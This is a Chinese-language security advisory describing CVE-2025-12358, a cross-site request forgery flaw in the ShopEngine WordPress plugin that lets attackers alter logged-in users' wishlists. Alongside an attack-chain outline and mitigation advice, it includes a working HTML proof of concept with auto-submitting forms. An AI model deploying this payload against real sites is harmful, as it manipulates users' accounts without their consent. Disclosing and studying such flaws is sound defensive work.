IPBUF安全漏洞报告
English
CVE-2025-12358 CVSS 4.3 中危

CVE-2025-12358 ShopEngine WordPress插件CSRF漏洞可操纵用户心愿单

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-12358
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ShopEngine Elementor WooCommerce Builder Addon plugin for WordPress

相关标签

CSRF跨站请求伪造WordPress插件漏洞ShopEngineWooCommerce心愿单操作nonce验证缺失权限绕过CVE-2025-12358

漏洞概述

CVE-2025-12358是WordPress平台ShopEngine Elementor WooCommerce Builder插件中的一个跨站请求伪造(CSRF)漏洞。该插件是一款用于Elementor页面构建器的WooCommerce商城增强插件。漏洞存在于4.8.5及之前的所有版本中,由于post_add_to_list函数缺少nonce验证,以及Api/init函数存在错误的权限回调机制,导致未经身份验证的攻击者可以伪造管理员或用户的请求,在用户不知情的情况下向其心愿单添加或移除产品。攻击者需要诱导已登录的用户点击恶意链接或访问包含恶意请求的页面,诱骗用户执行非预期的操作。此漏洞虽然不直接导致敏感数据泄露或服务器被控,但可被用于恶意操纵电商平台的用户体验,如清空竞争对手产品的心愿单或向用户心愿单添加无关商品进行营销骚扰。漏洞于2025年12月3日披露,CVSS评分4.3,属于中危级别。

技术细节

该CSRF漏洞的核心问题在于WordPress插件缺少关键的CSRF令牌验证机制。在ShopEngine插件中,post_add_to_list函数负责处理心愿单的添加操作,但该函数没有实现WordPress标准的wp_verify_nonce()验证。同时,Api/init函数使用了不正确的permissions_callback,导致权限检查形同虚设。攻击者可以构造一个包含心愿单操作参数的POST请求,诱导已登录WordPress/WooCommerce的用户在不知情的情况下发送请求。由于浏览器会自动携带目标站点的Cookie,服务器会认为这是一个合法的用户操作。攻击者通常将恶意请求嵌入到钓鱼邮件、论坛帖子或第三方网站的隐藏iframe中。用户只要访问该页面,其心愿单就会被未经授权地修改。此攻击方式依赖于社会工程学,需要用户进行点击等交互操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的ShopEngine插件版本,确认版本 <= 4.8.5
STEP 2
步骤2
攻击者构造包含恶意心愿单操作请求的HTML页面(添加或移除产品)
STEP 3
步骤3
攻击者通过钓鱼邮件、社交媒体或恶意网站诱导目标用户访问该HTML页面
STEP 4
步骤4
用户浏览器自动向目标站点发送POST请求,携带用户有效的认证Cookie
STEP 5
步骤5
服务器因缺少nonce验证和权限回调错误,错误地认为这是合法用户操作
STEP 6
步骤6
目标用户的心愿单被未经授权地添加或移除了指定产品

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-12358 - Add product to victim's wishlist --> <html> <body> <form action="https://target-site.com/wp-json/shopengine/v1/post_add_to_list" method="POST" id="csrfForm"> <input type="hidden" name="product_id" value="123" /> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="action_type" value="add" /> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- CSRF PoC to remove product from victim's wishlist --> <html> <body> <form action="https://target-site.com/wp-json/shopengine/v1/post_add_to_list" method="POST"> <input type="hidden" name="product_id" value="123" /> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="action_type" value="remove" /> </form> <script>document.forms[0].submit();</script> </body> </html>

影响范围

ShopEngine plugin <= 4.8.5 (所有版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1) 在WordPress主题的functions.php中添加自定义CSRF保护,过滤shopengine相关的AJAX请求;2) 使用WAF(Web应用防火墙)规则阻止异常的shopengine心愿单API调用;3) 限制未登录用户的API访问权限;4) 通知用户不要点击来源不明的链接;5) 监控服务器日志,关注异常的wishlist API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表